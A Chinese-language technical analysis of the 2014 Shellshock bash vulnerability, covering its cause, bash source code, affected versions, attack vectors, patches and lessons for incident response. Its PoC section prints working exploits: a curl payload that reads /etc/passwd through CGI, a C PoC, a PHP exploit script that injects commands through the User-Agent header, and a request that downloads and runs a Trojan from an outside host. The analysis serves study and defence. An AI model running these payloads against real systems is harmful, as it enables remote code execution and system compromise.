目錄
1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影響范圍 4. 漏洞的利用場景 5. 漏洞的POC、測試方法 6. 漏洞的修復Patch情況 7. 如何避免此類漏洞繼續出現
1. 漏洞的起因
為了理解這個漏洞,我們需要先理解兩個基本概念
0x1: Bash的環境變量
1. 只能在當前shell中使用的"局部變量" var="hello world" echo $var 2. 在子進程中也可以使用的"全局變量" export var="hello world" echo $var bash echo $var
0x2: Bash的函數
1. 定義一個只能在當前shell使用的函數 foo(){ echo "hello world"; } foo 2. 定義一個可以在子進程中使用的"全局函數" foo(){ echo "hello world"; } foo export -f foo bash foo
從這里我們可以看出,Bash在對待函數和對待變量都是一樣的,根本來說都是變量,而Bash判斷一個環境變量是不是一個函數,就看它的值是否以"()"
0x3: 對環境變量進行了代碼執行
1. 黑客定義了這樣的環境變量( 注:() 和 { 間的空格不能少) export A='() { echo "hello world"; }; echo "2333";' 2. env一下,你會看到X已經在了 env | grep A 3. 在當前的bash shell進程下產生一個bash的子進程時,新的子進程會讀取父進程的所有export的環境變量,並復制到自己的進程空間中,同時予以執行 bash 4. 函數體外面的代碼被默認地執行了
事實上,我們並不需要創建另一個bash子進程,我們可以使用bash -c的參數來執行一個bash子進程命令
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
0x4: AfterShock – CVE-2014-7169 Bypass POC 分析
env X='() { (a)=>\' sh -c "echo date"; cat echo
對這個bypass我們可以這樣理解
1. X='() { (a)=>\’ 定義一個X的環境變量。但是,這個函數不完整,\’不是為了單引號的轉義,而是換行符的意思 2. X這個變量的值就是 () { (a)=>\ 其中的 (a)=這個東西目的就是為了讓bash的解釋器出錯(語法錯誤),類似SQL注入中的Error Based Injection 語法出錯后,在緩沖區中就會只剩下了 ">\"這兩個字符。 3. bash會把后面的命令echo date換個行放到這個緩沖區中,然后執行 相當於在shell 下執行了下面這個命令: $ >\ echo date 4. >echo date就是一個重定向,上述的命令相當於: date > echo 5. 當前目錄下會出現一個echo的文件 這個文件的內容就是date命令的輸出
Relevant Link:
http://coolshell.cn/articles/11973.html
http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 http://seclists.org/oss-sec/2014/q3/651 https://access.redhat.com/node/1200223 http://seclists.org/oss-sec/2014/q3/650 https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271
2. 漏洞原理分析
這次的Bash漏洞從本質上屬於"代碼注入(code inject)",我們可以將SQL注入和本次的Bash漏洞進行一個橫向對比
1. 都存在明顯的"數據"、"指令"的分界線 2. 數據和指令都允許用戶通過"參數"的形式進行拼接 3. 對用戶的輸入數據都沒有進行嚴格的過濾、轉義、邊界檢查就直接帶入敏感函數 4. 對報錯邏輯、執行結果沒有進行有效的控制,直接回顯給用戶
我們已經知道,真正導致命令任意執行的原因是"Code Injection",即代碼注入,這是Stephone的原話
Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.
接下來,我們以bash-3.2版本的源代碼為例進行分析
http://download.chinaunix.net/download.php?id=24862&ResourceID=7
\bash-3.2\builtins\evalstring.c
... if (interactive_shell == 0 && read_but_dont_execute) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { struct fd_bitmap *bitmap; /* 這里沒有對傳入的command進行正確的邊界檢查,引入了代碼注入的可能性 */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame ("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL; ...
\bash-3.2\variables.c
這個文件負責對bash中的變量進行解析,我們在ENV中進行的臨時環境變量設置,將在這個文件中完成
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { ... create_variable_tables (); /* 從ENV環境變量中獲取參數 */ for (string_index = 0; string = env[string_index++]; ) { char_index = 0; name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=') char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = '\0'; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ /* If exported function, define it now. Don't import functions from the environment in privileged mode. 解析環境變量設置中的函數定義 */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); /* 這句是關鍵,initialize_shell_variables對環境變量中的代碼進行了執行,由於它錯誤的信任的外部發送的數據,形成了和SQL注入類似的場景,這句代碼和PHP中的eval是類似的,黑客只要滿足2個條件 1. 控制發送的參數,並在其中拼接payload 2. 黑客發送的包含payload的參數會被無條件的執行,而執行方不進行任何的邊界檢查 這就是典型的數據和代碼沒有進行正確區分導致的漏洞 */ parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...} if (name[char_index - 1] == ')' && name[char_index - 2] == '(') name[char_index - 2] = '\0'; if (temp_var = find_function (name)) { VSETATTR (temp_var, (att_exported|att_imported)); array_needs_making = 1; } else report_error (_("error importing function definition for `%s'"), name); /* ( */ if (name[char_index - 1] == ')' && name[char_index - 2] == '\0') name[char_index - 2] = '('; /* ) */ } } }
從這個角度來看,這種漏洞應該采用防御SQL注入的思路來進行,對漏洞原理進行一下總結
1. bash(本地、ssh、cgi)允許使用ENV進行path臨時設置 2. 黑客通過自定義函數,並導出到變量中 3. BASH對環境變量的設置是通過"代碼執行(EVAl)"完成的,即把ENV的參數當成code來執行,這在正常情況下是沒有問題的 4. 問題的關鍵是BASH沒有對傳入的參數進行正確的邊界檢查,導致數據和代碼的混雜,產生了和PHP EVAL Code InJection類似的漏洞 env x='() { :;}; echo vulnerable' 5. 代碼注入的關鍵點在 ; echo vulnerable
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://sourcecodebrowser.com/bash/4.0/evalstring_8c.html
3. 漏洞的影響范圍
0x1: 存在源代碼漏洞的Bash版本
這個漏洞屬於代碼級漏洞,所以漏洞的影響范圍和Bash的源代碼版本有關
bash-4.2.45-5.el7_0.2 bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1 bash-4.1.2-9.el6_2.1 bash-4.1.2-15.el6_4.1 bash-3.2-33.el5.1 bash-3.2-33.el5_11.1.sjis.1 bash-3.2-24.el5_6.1 bash-3.2-32.el5_9.2 bash-3.0-27.el4.2
0x2: Bash漏洞影響到的上層依賴程序(輻射現象)
對這個漏洞我們需要進行客觀的評估,並不能認為只要是依賴了Bash就一定是"通殺",真正存在Bash漏洞並能夠被黑客利用的漏洞存在於那些"無腦接收"遠程用戶發送的、並且"本地依賴Bash的程序還會將這個參數傳入環境變量設置函數中",同時滿足這個條件,這個Bash才能真正稱之為一個可轉為攻擊向量的漏洞
1. SSHD會基於ForceCommand配置,這個漏洞可以繞過限制去執行任何命令 http://seclists.org/oss-sec/2014/q3/651 2. Git和Subversion部署環境下的同樣會對shell進行限制,但同樣也存在同樣的問題 3. 基於漏洞的僵屍網絡 http://www.freebuf.com/news/45281.html 4. Apache服務器使用mod_cgi或者mod_cgid,如果CGI腳本在BASH或者運行在子SHELL里會受到影響 5. 子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情況都會受此漏洞影響 5. DHCP客戶端調用shell腳本接收遠程惡意服務器的環境變量參數值的情況會被此漏洞利用 6. 守護進程和SUID程序在環境變量設置的環境下執行SHELL腳本也會受到影響 7. Cisco設備 http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
4. 漏洞的利用場景
0x1: 攻擊的場景
我們在第2小結分析了Bash的環境變量解析存在的漏洞,但是正如Redhat官網的issue所說的,bash的這個漏洞只能算是本機任意指令執行漏洞,還不能算是遠程代碼執行,要達到遠程代碼執行,還需要其他方式的配合,我們來梳理一下思路,要發動這個攻擊,需要滿足以下幾個條件
1. 必須存在對BASH的調用:因為只有Bash存在這個環境變量解析漏洞 1) 可以是本地交互的SHELL(就是poc的代碼所證實的場景) 2) WEB接口對Bash的調用接口(例如 Bash CGI 即xxx.sh) 2. 我們要能夠控制Bash執行的環境變量 1) 因為這個代碼的注入點是在Bash的環境變量的設置中的 官方給出的ENV的那個poc,是了更好地解釋這個原理 3. 接口會將我們傳入的包含payload code參數帶入環境變量中 4. 接口要能夠將我們注入的代碼執行結果返回回來 1) 這才能完成一個完整的代碼注入流程
0x2: 攻擊發動向量
根據這些先決條件,我們可以得到一些攻擊向量,我們這個時候發現,Bash CGI(xxx.sh)正好滿足以上的這幾個條件
1. Linuc WEB Server提供的CGIL接口允許我們通過遠程HTTP方式進行Bash調用 2. 客戶端可以任意修改發送的HTTP頭部的字段參數 3. Bash CGI會將客戶端發送的HTTP數據包的HTTP頭部的字段作為ENV的參數傳入環境變量的設置函數中,也就是說,Bash CGI默認將HTTP頭部參數作為環境變量設置源 /* 最終變成這樣 HTTP_USER_AGENT() { :; }; */ 4. 當我們的Code Inject Payload被傳入Bash的環境設置函數之后,注入的代碼被成功解析執行,代碼執行的結繼續以"環境變量"的形式保存在環境變量中 5. Bash CGI會返回的HTTP數據包中會將環境變量一並發送回客戶端 //整個流程構成了一次完整的代碼注入攻擊
shell.sh
#!/bin/bash echo "Content-type: text/html" echo "" echo "<html>" #下面這句不要也可以,加上這句只是為了更清晰的看出注入的結果 #/usr/bin/env echo "</html>"
payload
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://localhost/cgi-bin/shell.sh' -I
5. 漏洞的POC、測試方法
0x1: 本地SHELL環境中測試是否有漏洞方法
poc: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result: vulnerable this is a test //如果出現這個結果,則說明本機的bash存在漏洞
0x2: C程序
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */ #include <unistd.h> #include <stdio.h> int main() { char *envp[] = { "PATH=/bin:/usr/bin", "/usr/bin/id=() { " "echo pwn me twice, shame on me; }; " "echo pwn me once, shame on you", NULL }; char *argv[] = { "/bin/bash", NULL }; execve(argv[0], argv, envp); perror("execve"); return 1; }
0x3: 自動化測試方法
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash echo "Content-type: text/html" echo "" echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n"); } $url = $x['u']; $cmd = $x['c']; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) die("Command sent to the server!\n"); else die("Connection Error\n"); ?>
除此之外,還可以使用
http://shellshock.brandonpotter.com/
0x5: 抓包
GET /yourip/cgi-bin/xxx.cgi?id=20 HTTP/1.1 Host: your.hostname.com User-Agent: '() { :;};' /usr/bin/wget http://muma.com/muma -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh Accept: */* Referer: http://www.baidu.com Connection: keep-alive
0x6: 其他攻擊向量
1. httpd 1) webserver常常將Referer、UserAgent、header等參數作為環境變量的設置源 2) 服務器提供了CGI腳本,當 CGI script被webserver執行的時候,CGI Script會去調用Bash 黑客可以通過開啟了CGI的httpd服務器進行遠程代碼執行 2. Secure Shell (SSH) 對於git、rsync這類遠程shell來說,常常會對用戶可以執行的指令進行嚴格限制,但是這個BASH解析漏洞提供了一個bypass的向量 3. dhclient 動態主機配置協議客戶端(dhclient的)被用來通過DHCP自動獲取網絡配置信息。該客戶端使用不同的環境變量和運行bash來配置網絡接口。連接到一個惡意的DHCP服務器可能允許攻擊者在客戶機上運行任意代碼。 黑客通過在域中的DHCP服務器中對DHCP的回送包進行特定的修改,可以達到污染dhcpclient的環境變量參數的目的,從而進行遠程代碼執行 4. CUPS 5. sudo 6. Firefox
Relevant Link:
http://www.exploit-db.com/exploits/34766/ http://drops.wooyun.org/papers/3064 http://blog.csdn.net/jiayanhui2877/article/details/39584003
6. 漏洞的修復Patch情況
0x1: 漏洞的修復思想
從攻擊方法上來看,這種漏洞屬於邊界檢查缺失導致的代碼注入漏洞,所以我們的修復思路也應該從這兩個方面入手
1. 進行正確的邊界檢查,嚴格區分函數定義和代碼注入 2. 對輸入參數進行參數化防御,不允許除了允許范圍之外的參數傳入
builtins/common.h
/* Flags for describe_command, shared between type.def and command.def */ #define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */
builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; } .. if (flags & SEVAL_ONECMD) break;
0x2: 修復Patch的一波三折
為了修補這個漏洞,redhat官方前前后后折騰了好幾次
http://www.cnblogs.com/LittleHann/p/3993927.html
0x3: GNU/Linux發行版社區發布的補丁
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 //bypass之后的第二套修補補丁 https://rhn.redhat.com/errata/RHSA-2014-1306.html
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
7. 如何避免此類漏洞繼續出現
從這次應急響應的過程來看,我們我們從中得到幾點思考
1. 安全攻防的應急響應是一個"戰線",這絲毫不誇張,在高危漏洞爆發的那一刻,所有的攻防措施都應該以秒作為單位,應急響應的處理流程應該和傳統的攻防模式(感知->阻斷->修復)有所區分。在大規模漏洞的應急響應中,有2點是
很重要的 1) 在第一時間進行waf的hotpatch,阻斷外部的攻擊 2) 分析出漏洞的成因,向用戶發布響應公告,安撫客戶的心態 2. 不應該出現一個patch一出現,就立刻被繞過的現象 漏洞的修復是一件很嚴肅的事情,不管是正常模式下的攻防過程中的漏洞修復,還是應急相應下的漏洞修復,都不應該犧牲任何的完備性去簡單的修改幾行代碼。今后在做漏洞修復的時候,必須要完成基本的幾個流程 1) 分析漏洞原理 2) 枚舉攻擊方式 3) 通過修改代碼,找到針對性修復方案 4) 得到方案后,至少要有1~2天的逆向測試周期,fuzz測試等手段。可以手工,也可以憑經驗進行,但是時間是必不可少的,着急上線只會引入更多的漏洞和bypass后的尷尬 3. 如何避免和更好的發現這種代碼級的漏洞 從漏洞攻防的歷史上來看,安全研究員永遠落后於黑客似乎是一個魔咒,而且好像好是不可避免的魔咒。但是並不意味着黑客可以永遠強勢,我么的產品研發人員需要時刻保持逆向思維,在設計方案和產品運營的時候多從反的反面去思考 1) 如果是黑客,他會采取怎樣的姿勢去攻擊 2) 我們的產品會不會反過來被黑客利用 3) 從極限領域的角度去思考,例如某個進程現在發現的可以同時啟動多個進程、程序可以被kill、程序的磁盤文件可以被刪除,在這些特殊的場景下,我們的產品(程序)還能不能正常發揮原來的設計思想 4) CMS漏洞攻防中流行的2次注入、3次注入都是發生在一些及其特殊的先決場景下的,只有把這些場景考慮到了,才不會給黑客利用的機會 4. 像黑客一樣去思考 時不時地"搞搞"自己家的東西
Copyright (c) 2014 LittleHann All rights reserved